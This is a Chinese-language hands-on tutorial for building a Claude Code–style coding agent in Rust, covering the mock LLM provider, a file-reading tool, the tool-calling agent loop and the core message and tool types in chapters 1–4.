概述
用 Rust 构建 Coding Agent — 动手实践教程,在 mini-claw-code-starter 模板里从零搭建自己的 AI coding agent,架构参考 Claude Code。
想找最初的 V1 教程?已归档至 archive/v1-book/en/(中文版见 archive/v1-book/zh/)。
你将构建什么
读完本书,你就有了一个完整的 coding agent,能做到:
- 连接 LLM,通过兼容 OpenAI 的 HTTP provider
- 调用工具:bash、文件读/写/编辑,统一用
Tooltrait 封装 - 自主循环:
SimpleAgent驱动 provider-工具循环,直到任务完成 - 流式推送事件,通过 channel 让 UI 实时展示进度
- 确定性测试,用
MockProvider返回预设响应,无需真实 API - 安全策略:权限引擎、安全检查、hook 三重保障
- 加载项目说明,从 CLAUDE.md 和分层配置中读取
架构
starter 代码库采用扁平模块结构:
mini-claw-code-starter/src/
types.rs -- Messages, tools, ToolSet, Provider trait, TokenUsage
agent.rs -- SimpleAgent (the core agent loop) and AgentEvent
mock.rs -- MockProvider for deterministic testing
streaming.rs -- SSE parsing, StreamAccumulator
instructions.rs -- InstructionLoader (CLAUDE.md discovery)
permissions.rs -- PermissionEngine
safety.rs -- SafetyChecker, SafeToolWrapper
hooks.rs -- Hook trait, HookRegistry
planning.rs -- PlanAgent (two-phase plan/execute)
config.rs -- Config, ConfigLoader, CostTracker
context.rs -- SystemPromptBuilder
providers/
openrouter.rs -- OpenRouterProvider (real HTTP backend)
tools/ -- Tool implementations (bash, file read/write/edit)
怎么用这本书
先看第 1–3 章。 三章短小精悍,不到一小时就能从零跑起一个 agent:
- 第一次 LLM 调用 — 实现
MockProvider(test_mock_) - 第一次工具调用 — 实现
ReadTool(test_read_) - Agentic 循环 — 实现
single_turn和SimpleAgent(test_single_turn_、test_simple_agent_)
之后继续第 4–18 章,深入完整架构:流式、权限、hook、计划模式、配置等。
mini-claw-code-starter crate 里的 stub 实现带有 unimplemented!() 占位和说明注释,告诉你该做什么。读完章节,填好 stub,跑测试验证。
跑测试检查进度:
# 跑某章的测试(用下表对应的测试名称)
cargo test -p mini-claw-code-starter test_mock_
# 跑所有测试
cargo test -p mini-claw-code-starter
前置条件
- Rust(edition 2024,1.85+)
- 了解 async Rust 基础(
async/await、tokio) - OpenRouter API key(实时 provider 章节需要)
章节路线图
入门
| 第 N 章 | 主题 | 需编辑的文件 | 测试命令 |
|---|---|---|---|
| 1 | 第一次 LLM 调用 | src/mock.rs | test_mock_ |
| 2 | 第一次工具调用 | src/tools/read.rs | test_read_ |
| 3 | Agentic 循环 | src/agent.rs | test_single_turn_、test_simple_agent_ |
第一部分:核心 Agent
| 第 N 章 | 主题 | 需编辑的文件 | 测试命令 |
|---|---|---|---|
| 4 | 消息与类型 | src/types.rs(已预填) | test_mock_ |
| 5a | Provider 与流式基础 | src/mock.rs、src/streaming.rs | test_mock_、test_streaming_parse_、test_streaming_accumulator_ |
| 5b | OpenRouter 与 StreamingAgent | src/providers/openrouter.rs、src/streaming.rs | test_openrouter_、test_streaming_stream_chat_、test_streaming_streaming_agent_ |
| 6 | 工具接口 | src/tools/read.rs(第 2 章已完成,重新阅读) | test_read_ |
| 7 | Agentic 循环(深度解析) | src/agent.rs(第 3 章已完成,重新阅读) | test_single_turn_、test_simple_agent_ |
第二部分:Prompt 与工具
| 第 N 章 | 主题 | 需编辑的文件 | 测试命令 |
|---|---|---|---|
| 8 | 系统 Prompt | src/instructions.rs | instructions |
| 9 | 文件工具 | src/tools/write.rs、src/tools/edit.rs(read.rs 第 2 章已完成) | test_read_、test_write_、test_edit_ |
| 10 | Bash 工具 | src/tools/bash.rs | test_bash_ |
| 11 | 搜索工具 | (扩展章节,无 stub) | (无测试) |
| 12 | 工具注册表 | src/types.rs(ToolSet,已预填,重新阅读) | test_multi_tool_ |
第三部分:安全与控制
| 第 N 章 | 主题 | 需编辑的文件 | 测试命令 |
|---|---|---|---|
| 13 | 权限引擎 | src/permissions.rs | permissions |
| 14 | 安全检查 | src/safety.rs | safety |
| 15 | Hook | src/hooks.rs | hooks |
| 16 | 计划模式 | src/planning.rs | plan |
第四部分:配置
| 第 N 章 | 主题 | 需编辑的文件 | 测试命令 |
|---|---|---|---|
| 17 | 配置层级 | src/config.rs、src/usage.rs | config、cost_tracker |
| 18 | 项目说明 | src/instructions.rs、src/context.rs | instructions、context_manager |
附加内容(暂无章节,stub 与测试已就绪)
| 主题 | 需编辑的文件 | 测试命令 |
|---|---|---|
| AskTool(用户输入) | src/tools/ask.rs | ask(加 --ignored 运行) |
| SubagentTool(子 agent) | src/subagent.rs | subagent(加 --ignored 运行) |
| 交互式 CLI | examples/chat.rs | cargo run --example chat(填好 stub 后运行) |
开始构建。
第 1 章:第一次 LLM 调用
需编辑的文件:
src/mock.rs运行测试:cargo test -p mini-claw-code-starter test_mock_预计时间: 15 分钟
构建 agent 之前,得先学会和 LLM 对话。这一章来实现 MockProvider,一个返回预设响应的假 LLM。不用 API key,不用 HTTP,不用网络。只有协议本身。
名词解释
写代码之前,先用一句话介绍第 1–3 章会遇到的各个类型。它们都已经在 src/types.rs 里定义好了,这份列表只是让这些名字不再陌生。第 4 章会深入讲解;现在每个类型一句话够了:
| 类型 | 含义 |
|---|---|
Message | 对话条目的枚举:System、User、Assistant、ToolResult、Attachment、Progress。 |
AssistantTurn | LLM 的返回值:可选的 text、一个 Vec<ToolCall>、一个 StopReason、可选的 TokenUsage。 |
StopReason | Stop(LLM 完成了)或 ToolUse(它想调用工具)。 |
ToolCall | LLM 发起的工具调用请求:id、name、JSON arguments。 |
ToolDefinition | 工具的 JSON Schema 描述,发给 LLM 让它知道有哪些工具可用。 |
Tool | 带有 definition() 和 call() 的 trait,实现它就能给 agent 加新能力。 |
ToolSet | HashMap<String, Box<dyn Tool>>,按名称分发工具调用。 |
Provider | 带有 chat() 方法的 trait,对"能响应消息的 LLM"的抽象。 |
之后哪个概念模糊了,随时回来查。第 4 章会从头带注释地重建所有这些类型。
目标
实现 MockProvider,满足:
- 用
VecDeque<AssistantTurn>的预设响应列表创建它。 - 每次调用
chat()返回队列里的下一个响应。 - 响应全部消费完后返回错误。
协议
每次 LLM 交互都遵循同一个模式:
sequenceDiagram
participant C as Your Code
participant L as LLM
C->>L: messages + tool definitions
L-->>C: text and/or tool calls + stop reason
发送消息和可用工具列表,LLM 返回文本、工具调用或两者兼有,再加上 StopReason 告诉你下一步怎么做。
用 Rust 表示,就是一个 trait 加一个方法:
#![allow(unused)] fn main() { pub trait Provider: Send + Sync { fn chat( &self, messages: &[Message], tools: &[&ToolDefinition], ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send; } }
核心类型
打开 mini-claw-code-starter/src/types.rs,这些类型已经写好了,读一遍理解协议:
classDiagram
class Provider {
<<trait>>
+chat(messages, tools) AssistantTurn
}
class AssistantTurn {
text: Option~String~
tool_calls: Vec~ToolCall~
stop_reason: StopReason
usage: Option~TokenUsage~
}
class StopReason {
<<enum>>
Stop
ToolUse
}
class Message {
<<enum>>
System(String)
User(String)
Assistant(AssistantTurn)
ToolResult
}
Provider --> AssistantTurn : returns
Provider --> Message : receives
AssistantTurn --> StopReason
AssistantTurn --> ToolCall : contains 0..*
LLM 返回 AssistantTurn:
#![allow(unused)] fn main() { pub struct AssistantTurn { pub text: Option<String>, // what the LLM said pub tool_calls: Vec<ToolCall>, // tools it wants to call pub stop_reason: StopReason, // Stop or ToolUse pub usage: Option<TokenUsage>, // token counts (optional) } }
两种结果:
StopReason::Stop— LLM 完成了,从text读答案StopReason::ToolUse— LLM 想调用工具,从tool_calls读
就这些。Claude Code、Cursor、Copilot,每个 coding agent 都跑在这同一个协议上。
关键 Rust 概念:用 Mutex 实现内部可变性
Provider trait 接受 &self 而不是 &mut self,因为 provider 在异步任务间共享。但 MockProvider 需要修改响应队列。解法是 Mutex<VecDeque<AssistantTurn>>,通过共享引用也能修改队列。
#![allow(unused)] fn main() { pub struct MockProvider { responses: Mutex<VecDeque<AssistantTurn>>, } }
在 &self 方法里用 Mutex 包裹共享状态,这个模式在 async Rust 里随处可见。
实现
打开 src/mock.rs,能看到 struct 定义和两个 stub。
第一步:new()
把 VecDeque 包进 Mutex:
#![allow(unused)] fn main() { pub fn new(responses: VecDeque<AssistantTurn>) -> Self { Self { responses: Mutex::new(responses), } } }
第二步:chat()
锁 mutex,弹出队列头部的响应,把 None 转成错误:
#![allow(unused)] fn main() { async fn chat( &self, _messages: &[Message], _tools: &[&ToolDefinition], ) -> anyhow::Result<AssistantTurn> { self.responses .lock() .unwrap() .pop_front() .ok_or_else(|| anyhow::anyhow!("MockProvider: no more responses")) } }
三行逻辑。mock 完全忽略 messages 和 tools,只返回下一个预设响应。
运行测试
cargo test -p mini-claw-code-starter test_mock_
14 个测试验证你的 mock:
test_mock_returns_text— 基本文本响应test_mock_returns_tool_calls— 包含工具调用的响应test_mock_steps_through_sequence— 多次调用保持 FIFO 顺序test_mock_empty_responses_exhausted— 队列为空时返回错误test_mock_ignores_messages_and_tools— mock 不看输入test_mock_long_sequence— 按顺序消费 10 个响应
刚才发生了什么
你实现了 Provider trait,每个 LLM 后端都得满足这个接口。MockProvider 是整本书的测试主力,所有测试都用它,不调真实 API。
之后(第 5b 章)会看到 OpenRouterProvider,发真实 HTTP 请求。但 trait 一样。换掉 provider,其余代码无需改动。
核心要点
LLM 就是个函数:消息进去,(文本、工具调用、停止原因)出来。其他都是管道。
自我检测
第 2 章:第一次工具调用
需编辑的文件:
src/tools/read.rs运行测试:cargo test -p mini-claw-code-starter test_read_预计时间: 15 分钟
LLM 不能读文件、跑命令、也不能上网。它只能生成文本。但它可以请求你的代码去做这些事。这就是工具。
目标
实现 ReadTool,满足:
- 声明自己的名称、描述和参数 schema。
- 以
{"path": "some/file.txt"}调用时,读取文件并返回内容。 - 参数缺失或文件不存在时报错。
工具调用的工作原理
LLM 不直接碰文件系统。它描述想要什么,你的代码去做:
sequenceDiagram
participant A as Agent
participant L as LLM
participant T as ReadTool
A->>L: "What's in doc.txt?" + tool schemas
L-->>A: tool_call: read(path="doc.txt")
A->>T: call({"path": "doc.txt"})
T-->>A: "file contents here..."
A->>L: tool result: "file contents here..."
L-->>A: "The file contains..."
LLM 看到描述每个工具的 JSON schema。决定用某个工具时,会输出包含工具名和参数的结构化请求。你的代码解析请求,运行真正的函数,把结果发回去。
Tool trait
打开 mini-claw-code-starter/src/types.rs,找到 Tool trait:
#![allow(unused)] fn main() { #[async_trait::async_trait] pub trait Tool: Send + Sync { fn definition(&self) -> &ToolDefinition; async fn call(&self, args: Value) -> anyhow::Result<String>; } }
两个方法:
definition()返回 JSON schema,告诉 LLM 这个工具的作用和参数call()执行工具,返回字符串结果
为什么 Tool 用 #[async_trait],而 Provider 不用?
这个分歧贯穿全书,值得现在就搞清楚:
Tool用#[async_trait],因为工具要异构存储在Box<dyn Tool>里(ReadTool和BashTool共存于同一个HashMap)。Box<dyn …>要求对象安全,而 trait 里的普通async fn不满足这一点——它返回的匿名 future 类型编译器无法擦除。#[async_trait]宏把async fn call(&self, …)改写成fn call(&self, …) -> Pin<Box<dyn Future + Send + '_>>,就满足了。每次调用多一次堆分配,相比工具要做的 I/O,这点开销微不足道。Provider用 RPITIT(return-positionimpl Traitin traits,Rust 1.75 稳定),因为我们只把它当泛型参数用——SimpleAgent<P: Provider>,从不用dyn Provider。不需要对象安全,就能用零成本版本:不装箱、不分配,编译器为每个实现单态化出独立的 future 类型。
两句助记规则:
stored as Box<dyn T> → #[async_trait] (boxed future, object-safe)
used as a generic P: Trait → RPITIT (zero-cost, not object-safe)
这就是全部权衡。第 6 章 会在你见过两个 trait 之后,并排展示完整的 Provider 签名再回顾一次。
实现
打开 src/tools/read.rs,能看到 struct 和两个 stub。
第一步:定义
用 JSON Schema 向 LLM 描述工具:
#![allow(unused)] fn main() { pub fn new() -> Self { Self { definition: ToolDefinition::new("read", "Read the contents of a file.") .param("path", "string", "Absolute path to the file", true), } } }
.param() 构建器添加参数,包括类型、描述和是否必填。LLM 看到这个 schema,就知道可以调用名为 "read" 的工具,传一个必填的字符串参数 "path"。
第二步:调用
从 JSON 参数里取出路径,读文件,返回内容:
#![allow(unused)] fn main() { async fn call(&self, args: Value) -> anyhow::Result<String> { let path = args["path"] .as_str() .context("missing 'path' argument")?; tokio::fs::read_to_string(path) .await .with_context(|| format!("failed to read '{path}'")) } }
三行逻辑。args 是 serde_json::Value,LLM 传来的已解析 JSON 参数。context() 和 with_context()(来自 anyhow)补充可读的错误信息。
数据流:
flowchart LR
A["args: path = foo.txt"] --> B["as_str()"]
B --> C["tokio::fs::read_to_string"]
C --> D["Ok: file contents"]
C --> E["Err: failed to read"]
运行测试
cargo test -p mini-claw-code-starter test_read_
15 个测试验证你的工具:
test_read_read_definition— schema 有正确的名称和必填参数test_read_read_file— 从临时目录读真实文件test_read_read_missing_file— 文件不存在时返回错误test_read_read_missing_arg—path缺失时返回错误test_read_read_utf8_content— 多行内容处理正确test_read_read_empty_file— 读空文件不报错
套路
项目里每个工具都是同一个三步套路:
- 定义 —
ToolDefinition::new("name", "description").param(...) - 提取 — 从 JSON
Value里取参数 - 执行 — 做实际工作,返回
String
后面章节写 WriteTool、EditTool、BashTool 都是这套。写过一个,其他的就会了。
核心要点
工具是"LLM 想读文件"和"文件真的被读了"之间的桥梁。LLM 把意图表达成结构化 JSON,你的代码负责执行。
自我检测
← 第 1 章:第一次 LLM 调用 · 目录 · 第 3 章:Agentic 循环 →
第 3 章:Agent 循环
需编辑的文件:
src/agent.rs运行测试:cargo test -p mini-claw-code-starter test_single_turn_(single_turn),cargo test -p mini-claw-code-starter test_simple_agent_(SimpleAgent) 预计时间: 20 分钟
provider(和 LLM 通信)有了,工具(读文件)有了,现在把它们连起来。agent 就在这里活过来。
目标
实现两件事:
single_turn()— 处理一次 prompt,最多一轮工具调用SimpleAgent— 把single_turn包进循环,持续跑直到 LLM 完成
第 3 章的范围(以及不在范围内的)
打开 src/agent.rs,能看到五个 unimplemented!() stub。只有四个是第 3 章的任务:
| Stub | 章节 | 说明 |
|---|---|---|
single_turn | 第 3 章 | 一次 prompt,最多一轮工具调用 |
SimpleAgent::execute_tools | 第 3 章 | 查找每个工具,收集 (id, content) 对 |
SimpleAgent::push_results | 第 3 章 | 推入 Assistant 轮,再逐个推入 ToolResult |
SimpleAgent::chat | 第 3 章 | agent 主循环 |
SimpleAgent::run_with_history | 第 7 章 | 基于事件的循环,现在保持 stub 状态 |
run_with_history / run_with_events 是第 7 章(AgentEvent 驱动执行)的内容。test_simple_agent_ 不会调用它们,那里的 unimplemented!() 不会触发 panic。第 7 章引入事件模型之前,忽略它们即可。
核心思想
Claude Code、Cursor、Aider,每个编程 agent 都是这个循环:
loop {
response = provider.chat(messages, tools)
if response.stop_reason == Stop:
return response.text
for call in response.tool_calls:
result = tools.execute(call)
messages.append(result)
}
LLM 决定何时停止,你的代码照指令执行。
flowchart TD
A["User prompt"] --> B["provider.chat()"]
B --> C{"stop_reason?"}
C -- "Stop" --> D["Return text"]
C -- "ToolUse" --> E["Execute tool calls"]
E --> F["Append results to messages"]
F --> B
第一部分:single_turn()
从简单的开始。single_turn() 处理一次 prompt,最多一轮工具调用,暂时没有循环。
Rust 关键概念:ToolSet
函数接受 &ToolSet,一个以名称为键的 HashMap<String, Box<dyn Tool>>,O(1) 查找:
#![allow(unused)] fn main() { pub async fn single_turn<P: Provider>( provider: &P, tools: &ToolSet, prompt: &str, ) -> anyhow::Result<String> }
执行流程
flowchart TD
A["prompt"] --> B["provider.chat()"]
B --> C{"stop_reason?"}
C -- "Stop" --> D["Return text"]
C -- "ToolUse" --> E["Execute each tool call"]
E --> F{"Tool found?"}
F -- "Yes" --> G["tool.call() → result"]
F -- "No" --> H["error: unknown tool"]
G --> I["Push Assistant + ToolResult messages"]
H --> I
I --> J["provider.chat() again"]
J --> K["Return final text"]
实现
#![allow(unused)] fn main() { pub async fn single_turn<P: Provider>( provider: &P, tools: &ToolSet, prompt: &str, ) -> anyhow::Result<String> { let defs = tools.definitions(); let mut messages = vec![Message::User(prompt.to_string())]; let turn = provider.chat(&messages, &defs).await?; match turn.stop_reason { StopReason::Stop => Ok(turn.text.unwrap_or_default()), StopReason::ToolUse => { // Execute each tool call, collect results let mut results = Vec::new(); for call in &turn.tool_calls { let content = match tools.get(&call.name) { Some(t) => t.call(call.arguments.clone()) .await .unwrap_or_else(|e| format!("error: {e}")), None => format!("error: unknown tool `{}`", call.name), }; results.push((call.id.clone(), content)); } // Feed results back to the LLM messages.push(Message::Assistant(turn)); for (id, content) in results { messages.push(Message::ToolResult { id, content }); } let final_turn = provider.chat(&messages, &defs).await?; Ok(final_turn.text.unwrap_or_default()) } } } }
三个关键细节:
- 先收集结果,再推入
Message::Assistant(turn)— push 会移走turn,之后就没法借用turn.tool_calls了 - 工具失败不崩溃 — 用
unwrap_or_else捕获错误,以字符串返回。LLM 读到错误会自行调整 - 未知工具返回错误字符串,不 panic — LLM 可能幻觉出一个工具名,agent 要能优雅处理
测试
cargo test -p mini-claw-code-starter test_single_turn_
共 14 个测试,包括:
test_single_turn_direct_response— LLM 直接响应,不调工具test_single_turn_one_tool_call— LLM 读文件,再回答test_single_turn_unknown_tool— LLM 调了个不存在的工具,收到错误,自行恢复test_single_turn_provider_error— provider 返回错误,正确传播
第二部分:SimpleAgent
single_turn 处理一轮。真正的 agent 要循环跑,直到 LLM 完成。这就是 SimpleAgent。
结构体
#![allow(unused)] fn main() { pub struct SimpleAgent<P: Provider> { provider: P, tools: ToolSet, } }
构造函数与构建器
#![allow(unused)] fn main() { pub fn new(provider: P) -> Self { Self { provider, tools: ToolSet::new() } } pub fn tool(mut self, t: impl Tool + 'static) -> Self { self.tools.push(t); self } }
构建器模式支持链式注册工具:
#![allow(unused)] fn main() { let agent = SimpleAgent::new(provider) .tool(ReadTool::new()) .tool(WriteTool::new()) .tool(BashTool::new()); }
旁注:谁来决定 Stop 还是 ToolUse?
是模型决定的。StopReason 不是我们从响应里算出来的,而是 LLM API 返回的字段,描述模型做了什么。模型输出纯文本并停止时,API 报告 stop(或 end_turn);模型输出了一个或多个工具调用块、等待调用方执行时,API 报告 tool_use(OpenAI 叫 tool_calls)。StopReason enum 只是把这个 API 字段翻译成 Rust 类型,决策本身已经烘焙进模型的生成过程。
实际上,模型在一次前向传播中就做出决定:一旦开始写工具调用块,大多数 provider 就会强制响应在该块处终止并返回 tool_use。不会先产生文本,再单独决定要不要调工具。所以下面的循环看起来才这么简洁——不用猜停止原因,直接按它分发。
循环:chat()
这是把 single_turn 泛化成循环的版本。不再调两次 provider 后返回,而是持续跑到 StopReason::Stop:
#![allow(unused)] fn main() { pub async fn chat(&self, messages: &mut Vec<Message>) -> anyhow::Result<String> { let defs = self.tools.definitions(); loop { let turn = self.provider.chat(messages, &defs).await?; match turn.stop_reason { StopReason::Stop => { let text = turn.text.clone().unwrap_or_default(); messages.push(Message::Assistant(turn)); return Ok(text); } StopReason::ToolUse => { let results = self.execute_tools(&turn.tool_calls).await; Self::push_results(messages, turn, results); } } } } }
注意:推入 Message::Assistant(turn) 之前先 clone turn.text,push 会移走 turn。
run() 是便捷包装器:
#![allow(unused)] fn main() { pub async fn run(&self, prompt: &str) -> anyhow::Result<String> { let mut messages = vec![Message::User(prompt.to_string())]; self.chat(&mut messages).await } }
辅助方法 execute_tools() 和 push_results() 把工具执行和消息构建分离出来,agent.rs 的 stub 里有它们的签名。
测试
cargo test -p mini-claw-code-starter test_simple_agent_
共 16 个测试,包括:
test_simple_agent_simple_text— 单轮文本响应test_simple_agent_multi_step— LLM 读文件,再写出响应test_simple_agent_three_turn_loop— 读取 → 编辑 → 验证,三轮循环test_simple_agent_error_recovery— 工具失败,LLM 读到错误自行恢复
你做了什么
你搭出了一个编程 agent。
#![allow(unused)] fn main() { let agent = SimpleAgent::new(provider) .tool(ReadTool::new()) .tool(WriteTool::new()) .tool(BashTool::new()); let answer = agent.run("What files are in this directory?").await?; }
agent 把 prompt 发给 LLM,LLM 调 bash("ls"),agent 执行,把输出反馈回去,LLM 汇总结果。这个循环能处理任意数量的工具调用、任意多轮。
这就是架构。其他一切——流式、权限、计划模式、子 agent——都建在这个循环之上。
自我检测
← 第 2 章:第一次工具调用 · 目录 · 第 4 章:消息与类型 →
第 4 章:消息与类型
需要编辑的文件: 无。starter 中的
src/types.rs已预填完整。 本章是纯阅读,对已在使用的类型系统做一次深入梳理。 运行测试:cargo test -p mini-claw-code-starter test_mock_在本章前后均可通过,因为实际实现在src/mock.rs中——那是你在第 1 章填写的内容。这些测试验证的是types.rs中定义的类型结构,这就是我们在此将它们关联起来的原因。 预计时间: 20 分钟(仅阅读)
目标
- 理解
Messageenum 的四个变体(System、User、Assistant、ToolResult),每个对话参与者都有对应的类型表示。 - 理解
ToolDefinition的构建器模式:为什么工具在构造时描述自己的 JSON Schema 参数,而不是手写 JSON。 - 理解
ToolSet作为运行时注册表,让 agent 按名称分发工具调用。 - 理解
Providertrait 的 RPITIT 签名:为什么它能让任意 LLM 后端自由替换,而无需改动 agent 代码。
每个编程 agent 的核心都是一个对话循环。用户发言,模型回复,工具产生结果,结果再反馈给模型。构建这个循环之前,需要一套类型系统来表示对话中的每个参与者和每种载荷。
这一章梳理整个代码库所依赖的基础类型。src/types.rs 在 starter 中已经完整,不需要动手写代码。读通为止;动手编码从第 5a 章重新开始。
类型之间的关系
flowchart TD
U[Message::User] --> P[Provider::chat]
S[Message::System] --> P
P --> AT[AssistantTurn]
AT --> SR{StopReason}
SR -->|Stop| Text[Final text response]
SR -->|ToolUse| TC[ToolCall]
TC --> TS[ToolSet::get]
TS --> T[Tool::call]
T --> TR[Message::ToolResult]
TR --> P
为什么需要丰富的消息类型?
看过原始的 LLM API(OpenAI、Anthropic),消息是带有 role 字段的 JSON 块:"system"、"user" 或 "assistant"。单轮聊天机器人够用,但编程 agent 还需要:
- 工具结果:携带对应工具调用的 ID,让模型在单轮多工具时能对上请求和响应。
- 系统指令:配置模型的行为。
Claude Code 把这些统一建模为单个 Message enum 的变体。我们的 starter 用了简化版,包含四个变体。
文件布局
所有类型都在一个文件:src/types.rs。包括 Message enum、AssistantTurn、ToolDefinition、ToolCall、Tool trait、ToolSet、Provider trait、TokenUsage 和 StopReason。
1.1 Message enum
包含四个变体的完整 enum:
#![allow(unused)] fn main() { pub enum Message { System(String), User(String), Assistant(AssistantTurn), ToolResult { id: String, content: String }, } }
starter 用的是简单枚举变体,没有包装结构体,没有消息 ID,没有 serde 标签,没有构造函数——直接构造变体就好:
#![allow(unused)] fn main() { let msg = Message::User("Hello".to_string()); let sys = Message::System("You are a helpful assistant".to_string()); let result = Message::ToolResult { id: call_id.clone(), content: "file contents here".to_string(), }; }
逐一看每个变体。
System
#![allow(unused)] fn main() { Message::System(String) }
System 消息携带由 agent 注入的指令,不是用户输入的内容。用来配置模型行为(比如"你是一个编程助手")。
User
#![allow(unused)] fn main() { Message::User(String) }
直接明了——用户的输入,每轮一条。
Assistant
#![allow(unused)] fn main() { Message::Assistant(AssistantTurn) }
最丰富的变体。模型的响应包裹在 AssistantTurn 结构体中(下面会介绍)。模型可以返回文本、工具调用,或两者兼有。
ToolResult
#![allow(unused)] fn main() { Message::ToolResult { id: String, content: String } }
agent 执行工具后,将输出打包为 ToolResult 变体追加到对话中。id 字段将结果链回对应的 ToolCall——没有它,单轮多工具时模型就无法分辨哪个结果属于哪个调用。
注意 starter 中工具结果是纯字符串,没有 is_truncated 标志或独立结构体。
1.2 AssistantTurn
assistant 的响应捕获在 AssistantTurn 结构体中:
#![allow(unused)] fn main() { pub struct AssistantTurn { pub text: Option<String>, pub tool_calls: Vec<ToolCall>, pub stop_reason: StopReason, pub usage: Option<TokenUsage>, } }
模型可以返回文本、工具调用,或两者兼有。text 是 Option<String>,因为模型决定使用工具时,可能根本不产生人类可读的文本——只发出一个或多个 ToolCall。stop_reason 告诉 agent 循环是继续执行工具,还是把响应呈现给用户后停止。
usage 是 Option<TokenUsage>,在解析时从 API 响应中附加 token 计数。测试用的 mock provider 会把它设为 None。
1.3 StopReason
#![allow(unused)] fn main() { pub enum StopReason { /// The model finished — check `text` for the response. Stop, /// The model wants to use tools — check `tool_calls`. ToolUse, } }
这个小 enum 驱动整个 agent 循环。provider 解析 LLM 响应后:
Stop:模型完成了,text字段是给用户的最终答案。ToolUse:模型要调用工具——agent 查看tool_calls,执行,追加结果,再次调用 provider。
agent 循环对 stop_reason 做 match,决定是中断还是继续。
1.4 ToolCall
#![allow(unused)] fn main() { pub struct ToolCall { pub id: String, pub name: String, pub arguments: Value, } }
LLM 以 StopReason::ToolUse 响应时,会包含一个或多个 ToolCall。每个条目包括:
id:API 分配的唯一标识符(如"call_abc123"),即ToolResultMessage::tool_use_id引用的值。name:调用哪个工具(如"bash"、"read"、"edit")。arguments:JSON 对象,形状与工具参数 schema 匹配。
agent 循环用 name 在 ToolSet 中查找工具,把 arguments 传给 tool.call(),然后将输出包装在 id 匹配的 Message::ToolResult 中。
1.5 ToolDefinition 与构建器模式
Rust 概念:构建器模式
ToolDefinition 用的是构建器模式——Rust 常见惯用法,方法按值接收 self 并返回 Self,支持 .param(...).param(...) 这样的链式调用。每次调用消耗结构体并返回修改后的版本。Rust 的移动语义保证没有额外开销——无需克隆,无需引用计数,编译器把调用链优化成一系列原地修改。整个代码库里这个模式随处可见:ToolSet::new().with(tool1).with(tool2),SimpleAgent::new(provider).tool(bash)。
每个工具都要用 JSON Schema 向 LLM 描述自身,让模型知道有哪些参数。ToolDefinition 持有这个 schema,提供构建器 API,不用手写 JSON:
#![allow(unused)] fn main() { pub struct ToolDefinition { pub name: &'static str, pub description: &'static str, pub parameters: Value, } }
构造函数初始化一个空对象 schema:
#![allow(unused)] fn main() { impl ToolDefinition { pub fn new(name: &'static str, description: &'static str) -> Self { Self { name, description, parameters: serde_json::json!({ "type": "object", "properties": {}, "required": [] }), } } } }
.param() — 添加简单参数
#![allow(unused)] fn main() { pub fn param( mut self, name: &str, type_: &str, description: &str, required: bool, ) -> Self { self.parameters["properties"][name] = serde_json::json!({ "type": type_, "description": description }); if required { self.parameters["required"] .as_array_mut() .unwrap() .push(Value::String(name.to_string())); } self } }
最常用的方法。大多数工具参数是简单类型——文件路径用 "string",行偏移量用 "number"。按值接收 self 并返回,支持链式调用:
#![allow(unused)] fn main() { ToolDefinition::new("read", "Read a file from disk") .param("path", "string", "Absolute path to the file", true) .param("offset", "number", "Line number to start reading from", false) .param("limit", "number", "Maximum number of lines to read", false) }
.param_raw() — 添加复杂参数
#![allow(unused)] fn main() { pub fn param_raw( mut self, name: &str, schema: Value, required: bool, ) -> Self { self.parameters["properties"][name] = schema; if required { self.parameters["required"] .as_array_mut() .unwrap() .push(Value::String(name.to_string())); } self } }
有些参数需要更丰富的 schema——enum、数组、嵌套对象。param_raw 允许传入任意 serde_json::Value 作为 schema。比如一个编辑工具可能这样定义:
#![allow(unused)] fn main() { .param_raw("changes", serde_json::json!({ "type": "array", "items": { "type": "object", "properties": { "old_string": { "type": "string" }, "new_string": { "type": "string" } } } }), true) }
在 src/types.rs 中实现 ToolDefinition。 starter 中没有专门针对构建器本身的单元测试——正确性由每个工具的 _definition 测试间接验证(如 tests/read.rs 中的 test_read_read_definition)。cargo build -p mini-claw-code-starter 能通过就是实际的检验。
1.6 Tool trait
核心抽象。每个工具——Bash、Read、Write、Edit——都实现这个 trait:
#![allow(unused)] fn main() { #[async_trait::async_trait] pub trait Tool: Send + Sync { fn definition(&self) -> &ToolDefinition; async fn call(&self, args: Value) -> anyhow::Result<String>; } }
只有两个必需方法,刻意保持最简:
definition() 返回工具的 schema。注册工具时调用一次,每次 agent 向 LLM 发送工具定义时也会调用。返回引用(&ToolDefinition),因为定义在工具生命周期内是静态的。
call() 是执行入口。接收 LLM 提供的 JSON 参数,返回 String 结果(或错误)。标记为 async,因为大多数工具需要做 I/O——读文件、运行子进程、发 HTTP 请求。
注意 call() 返回 anyhow::Result<String>,不是 ToolResult 结构体。starter 将工具输出简化为纯字符串。工具失败时,可以返回 Ok(format!("error: {e}")) 让模型看到错误并恢复,或返回 Err(e) 处理无法恢复的情况。
该 trait 使用 #[async_trait] 并标记 Send + Sync,这样工具就能以 Box<dyn Tool> 存储在 ToolSet 中,并从异步上下文调用。为什么 Tool 用 #[async_trait] 而 Provider 用 RPITIT,参见为什么有两种异步 trait 风格?。
1.7 ToolSet
LLM 请求工具调用时,agent 需要按名称查找工具。ToolSet 是基于 HashMap 的注册表:
#![allow(unused)] fn main() { pub struct ToolSet { tools: HashMap<String, Box<dyn Tool>>, } }
关键方法:
#![allow(unused)] fn main() { impl ToolSet { pub fn new() -> Self { Self { tools: HashMap::new() } } /// Builder-style: add a tool and return self. pub fn with(mut self, tool: impl Tool + 'static) -> Self { self.push(tool); self } /// Add a tool, keyed by its definition name. pub fn push(&mut self, tool: impl Tool + 'static) { let name = tool.definition().name.to_string(); self.tools.insert(name, Box::new(tool)); } /// Look up a tool by name. pub fn get(&self, name: &str) -> Option<&dyn Tool> { self.tools.get(name).map(|t| t.as_ref()) } /// Collect all tool schemas for the provider. pub fn definitions(&self) -> Vec<&ToolDefinition> { self.tools.values().map(|t| t.definition()).collect() } } impl Default for ToolSet { fn default() -> Self { Self::new() } } }
几个设计要点:
with()支持链式调用:ToolSet::new().with(ReadTool::new()).with(BashTool::new())。push()从工具定义中提取名称,不需要手动传入——单一可信来源。definitions()把所有 schema 收集为Vec,provider 在每轮开始时发给 LLM。Box<dyn Tool>是让异构存储成为可能的 trait 对象。push/with上的'static约束确保工具存活足够长。
ToolSet 在 starter 中没有专属测试——由 test_single_turn_* 套件(第 3 章)和 test_multi_tool_* 套件(第 12 章)间接验证,两套测试都构建真实的 ToolSet 并断言定义被正确渲染。
1.8 TokenUsage
